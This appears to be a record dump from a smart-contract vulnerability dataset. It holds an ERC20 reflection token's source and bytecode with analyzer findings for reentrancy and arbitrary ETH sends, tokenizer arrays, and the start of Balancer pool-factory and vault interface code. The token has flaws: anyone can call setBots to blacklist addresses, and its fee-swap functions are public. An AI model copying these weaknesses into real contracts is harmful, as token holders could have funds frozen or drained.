rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from] && !bots[to]); _feeAddr1 = 4; _feeAddr2 = 4; if (from != owner() && to != owner()) { if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { // buy require(amount <= _maxTxAmount); } if ( from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { if(to == uniswapV2Pair){ _feeAddr1 = 4; _feeAddr2 = 4; } } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount); } function createPair() external onlyOwner { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function addLiquidity() external onlyOwner{ uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public { for (uint256 i = 0; i < bots_.length; i++) { if(bots_[i]!=address(uniswapV2Router) && bots_[i]!=address(uniswapV2Pair) &&bots_[i]!=address(this)){ bots[bots_[i]] = true; } } } function delBot(address notbot) public { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c8063715018a611610095578063a9059cbb11610064578063a9059cbb146102df578063b515566a146102ff578063c3c8cd801461031f578063dd62ed3e14610334578063e8078d941461037a57600080fd5b8063715018a6146102595780638da5cb5b1461026e57806395d89b41146102965780639e78fb4f146102ca57600080fd5b8063273123b7116100d1578063273123b7146101ca578063313ce567146102085780636fc3eaec1461022457806370a082311461023957600080fd5b806306fdde031461010e578063095ea7b31461015657806318160ddd1461018657806323b872dd146101aa57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600d81526c43756c7420536869622041706560981b60208201525b60405161014d919061169a565b60405180910390f35b34801561016257600080fd5b50610176610171366004611552565b61038f565b604051901515815260200161014d565b34801561019257600080fd5b50662386f26fc100005b60405190815260200161014d565b3480156101b657600080fd5b506101766101c5366004611511565b6103a6565b3480156101d657600080fd5b506102066101e536600461149e565b6001600160a01b03166000908152600660205260409020805460ff19169055565b005b34801561021457600080fd5b506040516009815260200161014d565b34801561023057600080fd5b5061020661040f565b34801561024557600080fd5b5061019c61025436600461149e565b61041c565b34801561026557600080fd5b5061020661043e565b34801561027a57600080fd5b506000546040516001600160a01b03909116815260200161014d565b3480156102a257600080fd5b5060408051808201909152600b81526a43554c545348494241504560a81b6020820152610140565b3480156102d657600080fd5b506102066104bb565b3480156102eb57600080fd5b506101766102fa366004611552565b6106b4565b34801561030b57600080fd5b5061020661031a36600461157e565b6106c1565b34801561032b57600080fd5b506102066107eb565b34801561034057600080fd5b5061019c61034f3660046114d8565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561038657600080fd5b50610206610801565b600061039c3384846109e3565b5060015b92915050565b60006103b3848484610b07565b610405843361040085604051806060016040528060288152602001611878602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610df3565b6109e3565b5060019392505050565b4761041981610e2d565b50565b6001600160a01b0381166000908152600260205260408120546103a090610e67565b6000546001600160a01b031633146104715760405162461bcd60e51b8152600401610468906116ef565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104e55760405162461bcd60e51b8152600401610468906116ef565b600c80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105203082662386f26fc100006109e3565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561055957600080fd5b505afa15801561056d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061059191906114bb565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156105d957600080fd5b505afa1580156105ed573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061061191906114bb565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561065957600080fd5b505af115801561066d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061069191906114bb565b600d80546001600160a01b0319166001600160a01b039290921691909117905550565b600061039c338484610b07565b60005b81518110156107e757600c5482516001600160a01b03909116908390839081106106f0576106f0611836565b60200260200101516001600160a01b0316141580156107415750600d5482516001600160a01b039091169083908390811061072d5761072d611836565b60200260200101516001600160a01b031614155b80156107785750306001600160a01b031682828151811061076457610764611836565b60200260200101516001600160a01b031614155b156107d55760016006600084848151811061079557610795611836565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806107df81611805565b9150506106c4565b5050565b60006107f63061041c565b905061041981610ee4565b6000546001600160a01b0316331461082b5760405162461bcd60e51b8152600401610468906116ef565b600c546001600160a01b031663f305d71947306108478161041c565b60008061085c6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156108bf57600080fd5b505af11580156108d3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108f8919061166c565b5050600d805462ff00ff60a01b1981166201000160a01b17909155600c5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561096257600080fd5b505af1158015610976573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610419919061164a565b60006109dc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061106d565b9392505050565b6001600160a01b038316610a455760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610468565b6001600160a01b038216610aa65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610468565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b6b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610468565b6001600160a01b038216610bcd5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610468565b60008111610c2f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610468565b6001600160a01b03831660009081526006602052604090205460ff16158015610c7157506001600160a01b03821660009081526006602052604090205460ff16155b610c7a57600080fd5b60046009819055600a556000546001600160a01b03848116911614801590610cb057506000546001600160a01b03838116911614155b15610de357600d546001600160a01b038481169116148015610ce05750600c546001600160a01b03838116911614155b8015610d0557506001600160a01b03821660009081526005602052604090205460ff16155b15610d1957600e54811115610d1957600080fd5b600c546001600160a01b03848116911614801590610d5057506001600160a01b03831660009081526005602052604090205460ff16155b15610d7657600d546001600160a01b0383811691161415610d765760046009819055600a555b6000610d813061041c565b600d54909150600160a81b900460ff16158015610dac5750600d546001600160a01b03858116911614155b8015610dc15750600d54600160b01b900460ff165b15610de157610dcf81610ee4565b478015610ddf57610ddf47610e2d565b505b505b610dee83838361109b565b505050565b60008184841115610e175760405162461bcd60e51b8152600401610468919061169a565b506000610e2484866117ee565b95945050505050565b600b546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107e7573d6000803e3d6000fd5b6000600754821115610ece5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610468565b6000610ed86110a6565b90506109dc838261099a565b600d805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f2c57610f2c611836565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610f8057600080fd5b505afa158015610f94573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fb891906114bb565b81600181518110610fcb57610fcb611836565b6001600160a01b039283166020918202929092010152600c54610ff191309116846109e3565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061102a908590600090869030904290600401611724565b600060405180830381600087803b15801561104457600080fd5b505af1158015611058573d6000803e3d6000fd5b5050600d805460ff60a81b1916905550505050565b6000818361108e5760405162461bcd60e51b8152600401610468919061169a565b506000610e2484866117ad565b610dee8383836110c9565b60008060006110b36111c0565b90925090506110c2828261099a565b9250505090565b6000806000806000806110db876111fe565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061110d908761125b565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461113c908661129d565b6001600160a01b03891660009081526002602052604090205561115e816112fc565b6111688483611346565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516111ad91815260200190565b60405180910390a3505050505050505050565b6007546000908190662386f26fc100006111da828261099a565b8210156111f557505060075492662386f26fc1000092509050565b90939092509050565b600080600080600080600080600061121b8a600954600a5461136a565b925092509250600061122b6110a6565b9050600080600061123e8e8787876113bf565b919e509c509a509598509396509194505050505091939550919395565b60006109dc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610df3565b6000806112aa8385611795565b9050838110156109dc5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610468565b60006113066110a6565b90506000611314838361140f565b30600090815260026020526040902054909150611331908261129d565b30600090815260026020526040902055505050565b600754611353908361125b565b600755600854611363908261129d565b6008555050565b6000808080611384606461137e898961140f565b9061099a565b90506000611397606461137e8a8961140f565b905060006113af826113a98b8661125b565b9061125b565b9992985090965090945050505050565b60008080806113ce888661140f565b905060006113dc888761140f565b905060006113ea888861140f565b905060006113fc826113a9868661125b565b939b939a50919850919650505050505050565b60008261141e575060006103a0565b600061142a83856117cf565b90508261143785836117ad565b146109dc5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610468565b803561149981611862565b919050565b6000602082840312156114b057600080fd5b81356109dc81611862565b6000602082840312156114cd57600080fd5b81516109dc81611862565b600080604083850312156114eb57600080fd5b82356114f681611862565b9150602083013561150681611862565b809150509250929050565b60008060006060848603121561152657600080fd5b833561153181611862565b9250602084013561154181611862565b929592945050506040919091013590565b6000806040838503121561156557600080fd5b823561157081611862565b946020939093013593505050565b6000602080838503121561159157600080fd5b823567ffffffffffffffff808211156115a957600080fd5b818501915085601f8301126115bd57600080fd5b8135818111156115cf576115cf61184c565b8060051b604051601f19603f830116810181811085821117156115f4576115f461184c565b604052828152858101935084860182860187018a101561161357600080fd5b600095505b8386101561163d576116298161148e565b855260019590950194938601938601611618565b5098975050505050505050565b60006020828403121561165c57600080fd5b815180151581146109dc57600080fd5b60008060006060848603121561168157600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156116c7578581018301518582016040015282016116ab565b818111156116d9576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117745784516001600160a01b03168352938301939183019160010161174f565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156117a8576117a8611820565b500190565b6000826117ca57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156117e9576117e9611820565b500290565b60008282101561180057611800611820565b500390565b600060001982141561181957611819611820565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461041957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122085e7cc6a5dbbf76ce3771aa5a204a2c26e336a200479390a408c8e838964513464736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 3676, 17914, 2575, 2620, 2497, 12740, 29537, 28756, 2692, 2094, 24096, 23352, 2094, 2575, 2487, 15878, 2629, 2050, 28311, 2692, 24087, 3401, 11329, 2581, 2509, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 1013, 1008, 1008, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 8754, 6182, 3676, 5051, 1008, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,407
0x96BA9025311E2F47B840A1F68ED57A3DF1EA8747
// SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "../../vault/interfaces/IVault.sol"; import "../factories/BasePoolFactory.sol"; import "../factories/FactoryWidePauseWindow.sol"; import "./WeightedPool.sol"; contract WeightedPoolFactory is BasePoolFactory, FactoryWidePauseWindow { constructor(IVault vault) BasePoolFactory(vault) { // solhint-disable-previous-line no-empty-blocks } /** * @dev Deploys a new `WeightedPool`. */ function create( string memory name, string memory symbol, IERC20[] memory tokens, uint256[] memory weights, uint256 swapFeePercentage, address owner ) external returns (address) { (uint256 pauseWindowDuration, uint256 bufferPeriodDuration) = getPauseConfiguration(); address pool = address( new WeightedPool( getVault(), name, symbol, tokens, weights, swapFeePercentage, pauseWindowDuration, bufferPeriodDuration, owner ) ); _register(pool); return pool; } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma experimental ABIEncoderV2; import "../../lib/openzeppelin/IERC20.sol"; import "./IWETH.sol"; import "./IAsset.sol"; import "./IAuthorizer.sol"; import "./IFlashLoanRecipient.sol"; import "../ProtocolFeesCollector.sol"; import "../../lib/helpers/ISignaturesValidator.sol"; import "../../lib/helpers/ITemporarilyPausable.sol"; pragma solidity ^0.7.0; /** * @dev Full external interface for the Vault core contract - no external or public methods exist in the contract that * don't override one of these declarations. */ interface IVault is ISignaturesValidator, ITemporarilyPausable { // Generalities about the Vault: // // - Whenever documentation refers to 'tokens', it strictly refers to ERC20-compliant token contracts. Tokens are // transferred out of the Vault by calling the `IERC20.transfer` function, and transferred in by calling // `IERC20.transferFrom`. In these cases, the sender must have previously allowed the Vault to use their tokens by // calling `IERC20.approve`. The only deviation from the ERC20 standard that is supported is functions not returning // a boolean value: in these scenarios, a non-reverting call is assumed to be successful. // // - All non-view functions in the Vault are non-reentrant: calling them while another one is mid-execution (e.g. // while execution control is transferred to a token contract during a swap) will result in a revert. View // functions can be called in a re-reentrant way, but doing so might cause them to return inconsistent results. // Contracts calling view functions in the Vault must make sure the Vault has not already been entered. // // - View functions revert if referring to either unregistered Pools, or unregistered tokens for registered Pools. // Authorizer // // Some system actions are permissioned, like setting and collecting protocol fees. This permissioning system exists // outside of the Vault in the Authorizer contract: the Vault simply calls the Authorizer to check if the caller // can perform a given action. /** * @dev Returns the Vault's Authorizer. */ function getAuthorizer() external view returns (IAuthorizer); /** * @dev Sets a new Authorizer for the Vault. The caller must be allowed by the current Authorizer to do this. * * Emits an `AuthorizerChanged` event. */ function setAuthorizer(IAuthorizer newAuthorizer) external; /** * @dev Emitted when a new authorizer is set by `setAuthorizer`. */ event AuthorizerChanged(IAuthorizer indexed newAuthorizer); // Relayers // // Additionally, it is possible for an account to perform certain actions on behalf of another one, using their // Vault ERC20 allowance and Internal Balance. These accounts are said to be 'relayers' for these Vault functions, // and are expected to be smart contracts with sound authentication mechanisms. For an account to be able to wield // this power, two things must occur: // - The Authorizer must grant the account the permission to be a relayer for the relevant Vault function. This // means that Balancer governance must approve each individual contract to act as a relayer for the intended // functions. // - Each user must approve the relayer to act on their behalf. // This double protection means users cannot be tricked into approving malicious relayers (because they will not // have been allowed by the Authorizer via governance), nor can malicious relayers approved by a compromised // Authorizer or governance drain user funds, since they would also need to be approved by each individual user. /** * @dev Returns true if `user` has approved `relayer` to act as a relayer for them. */ function hasApprovedRelayer(address user, address relayer) external view returns (bool); /** * @dev Allows `relayer` to act as a relayer for `sender` if `approved` is true, and disallows it otherwise. * * Emits a `RelayerApprovalChanged` event. */ function setRelayerApproval( address sender, address relayer, bool approved ) external; /** * @dev Emitted every time a relayer is approved or disapproved by `setRelayerApproval`. */ event RelayerApprovalChanged(address indexed relayer, address indexed sender, bool approved); // Internal Balance // // Users can deposit tokens into the Vault, where they are allocated to their Internal Balance, and later // transferred or withdrawn. It can also be used as a source of tokens when joining Pools, as a destination // when exiting them, and as either when performing swaps. This usage of Internal Balance results in greatly reduced // gas costs when compared to relying on plain ERC20 transfers, leading to large savings for frequent users. // // Internal Balance management features batching, which means a single contract call can be used to perform multiple // operations of different kinds, with different senders and recipients, at once. /** * @dev Returns `user`'s Internal Balance for a set of tokens. */ function getInternalBalance(address user, IERC20[] memory tokens) external view returns (uint256[] memory); /** * @dev Performs a set of user balance operations, which involve Internal Balance (deposit, withdraw or transfer) * and plain ERC20 transfers using the Vault's allowance. This last feature is particularly useful for relayers, as * it lets integrators reuse a user's Vault allowance. * * For each operation, if the caller is not `sender`, it must be an authorized relayer for them. */ function manageUserBalance(UserBalanceOp[] memory ops) external payable; /** * @dev Data for `manageUserBalance` operations, which include the possibility for ETH to be sent and received without manual WETH wrapping or unwrapping. */ struct UserBalanceOp { UserBalanceOpKind kind; IAsset asset; uint256 amount; address sender; address payable recipient; } // There are four possible operations in `manageUserBalance`: // // - DEPOSIT_INTERNAL // Increases the Internal Balance of the `recipient` account by transferring tokens from the corresponding // `sender`. The sender must have allowed the Vault to use their tokens via `IERC20.approve()`. // // ETH can be used by passing the ETH sentinel value as the asset and forwarding ETH in the call: it will be wrapped // and deposited as WETH. Any ETH amount remaining will be sent back to the caller (not the sender, which is // relevant for relayers). // // Emits an `InternalBalanceChanged` event. // // // - WITHDRAW_INTERNAL // Decreases the Internal Balance of the `sender` account by transferring tokens to the `recipient`. // // ETH can be used by passing the ETH sentinel value as the asset. This will deduct WETH instead, unwrap it and send // it to the recipient as ETH. // // Emits an `InternalBalanceChanged` event. // // // - TRANSFER_INTERNAL // Transfers tokens from the Internal Balance of the `sender` account to the Internal Balance of `recipient`. // // Reverts if the ETH sentinel value is passed. // // Emits an `InternalBalanceChanged` event. // // // - TRANSFER_EXTERNAL // Transfers tokens from `sender` to `recipient`, using the Vault's ERC20 allowance. This is typically used by // relayers, as it lets them reuse a user's Vault allowance. // // Reverts if the ETH sentinel value is passed. // // Emits an `ExternalBalanceTransfer` event. enum UserBalanceOpKind { DEPOSIT_INTERNAL, WITHDRAW_INTERNAL, TRANSFER_INTERNAL, TRANSFER_EXTERNAL } /** * @dev Emitted when a user's Internal Balance changes, either from calls to `manageUserBalance`, or through * interacting with Pools using Internal Balance. * * Because Internal Balance works exclusively with ERC20 tokens, ETH deposits and withdrawals will use the WETH * address. */ event InternalBalanceChanged(address indexed user, IERC20 indexed token, int256 delta); /** * @dev Emitted when a user's Vault ERC20 allowance is used by the Vault to transfer tokens to an external account. */ event ExternalBalanceTransfer(IERC20 indexed token, address indexed sender, address recipient, uint256 amount); // Pools // // There are three specialization settings for Pools, which allow for cheaper swaps at the cost of reduced // functionality: // // - General: no specialization, suited for all Pools. IGeneralPool is used for swap request callbacks, passing the // balance of all tokens in the Pool. These Pools have the largest swap costs (because of the extra storage reads), // which increase with the number of registered tokens. // // - Minimal Swap Info: IMinimalSwapInfoPool is used instead of IGeneralPool, which saves gas by only passing the // balance of the two tokens involved in the swap. This is suitable for some pricing algorithms, like the weighted // constant product one popularized by Balancer V1. Swap costs are smaller compared to general Pools, and are // independent of the number of registered tokens. // // - Two Token: only allows two tokens to be registered. This achieves the lowest possible swap gas cost. Like // minimal swap info Pools, these are called via IMinimalSwapInfoPool. enum PoolSpecialization { GENERAL, MINIMAL_SWAP_INFO, TWO_TOKEN } /** * @dev Registers the caller account as a Pool with a given specialization setting. Returns the Pool's ID, which * is used in all Pool-related functions. Pools cannot be deregistered, nor can the Pool's specialization be * changed. * * The caller is expected to be a smart contract that implements either `IGeneralPool` or `IMinimalSwapInfoPool`, * depending on the chosen specialization setting. This contract is known as the Pool's contract. * * Note that the same contract may register itself as multiple Pools with unique Pool IDs, or in other words, * multiple Pools may share the same contract. * * Emits a `PoolRegistered` event. */ function registerPool(PoolSpecialization specialization) external returns (bytes32); /** * @dev Emitted when a Pool is registered by calling `registerPool`. */ event PoolRegistered(bytes32 indexed poolId, address indexed poolAddress, PoolSpecialization specialization); /** * @dev Returns a Pool's contract address and specialization setting. */ function getPool(bytes32 poolId) external view returns (address, PoolSpecialization); /** * @dev Registers `tokens` for the `poolId` Pool. Must be called by the Pool's contract. * * Pools can only interact with tokens they have registered. Users join a Pool by transferring registered tokens, * exit by receiving registered tokens, and can only swap registered tokens. * * Each token can only be registered once. For Pools with the Two Token specialization, `tokens` must have a length * of two, that is, both tokens must be registered in the same `registerTokens` call, and they must be sorted in * ascending order. * * The `tokens` and `assetManagers` arrays must have the same length, and each entry in these indicates the Asset * Manager for the corresponding token. Asset Managers can manage a Pool's tokens via `managePoolBalance`, * depositing and withdrawing them directly, and can even set their balance to arbitrary amounts. They are therefore * expected to be highly secured smart contracts with sound design principles, and the decision to register an * Asset Manager should not be made lightly. * * Pools can choose not to assign an Asset Manager to a given token by passing in the zero address. Once an Asset * Manager is set, it cannot be changed except by deregistering the associated token and registering again with a * different Asset Manager. * * Emits a `TokensRegistered` event. */ function registerTokens( bytes32 poolId, IERC20[] memory tokens, address[] memory assetManagers ) external; /** * @dev Emitted when a Pool registers tokens by calling `registerTokens`. */ event TokensRegistered(bytes32 indexed poolId, IERC20[] tokens, address[] assetManagers); /** * @dev Deregisters `tokens` for the `poolId` Pool. Must be called by the Pool's contract. * * Only registered tokens (via `registerTokens`) can be deregistered. Additionally, they must have zero total * balance. For Pools with the Two Token specialization, `tokens` must have a length of two, that is, both tokens * must be deregistered in the same `deregisterTokens` call. * * A deregistered token can be re-registered later on, possibly with a different Asset Manager. * * Emits a `TokensDeregistered` event. */ function deregisterTokens(bytes32 poolId, IERC20[] memory tokens) external; /** * @dev Emitted when a Pool deregisters tokens by calling `deregisterTokens`. */ event TokensDeregistered(bytes32 indexed poolId, IERC20[] tokens); /** * @dev Returns detailed information for a Pool's registered token. * * `cash` is the number of tokens the Vault currently holds for the Pool. `managed` is the number of tokens * withdrawn and held outside the Vault by the Pool's token Asset Manager. The Pool's total balance for `token` * equals the sum of `cash` and `managed`. * * Internally, `cash` and `managed` are stored using 112 bits. No action can ever cause a Pool's token `cash`, * `managed` or `total` balance to be greater than 2^112 - 1. * * `lastChangeBlock` is the number of the block in which `token`'s total balance was last modified (via either a * join, exit, swap, or Asset Manager update). This value is useful to avoid so-called 'sandwich attacks', for * example when developing price oracles. A change of zero (e.g. caused by a swap with amount zero) is considered a * change for this purpose, and will update `lastChangeBlock`. * * `assetManager` is the Pool's token Asset Manager. */ function getPoolTokenInfo(bytes32 poolId, IERC20 token) external view returns ( uint256 cash, uint256 managed, uint256 lastChangeBlock, address assetManager ); /** * @dev Returns a Pool's registered tokens, the total balance for each, and the latest block when *any* of * the tokens' `balances` changed. * * The order of the `tokens` array is the same order that will be used in `joinPool`, `exitPool`, as well as in all * Pool hooks (where applicable). Calls to `registerTokens` and `deregisterTokens` may change this order. * * If a Pool only registers tokens once, and these are sorted in ascending order, they will be stored in the same * order as passed to 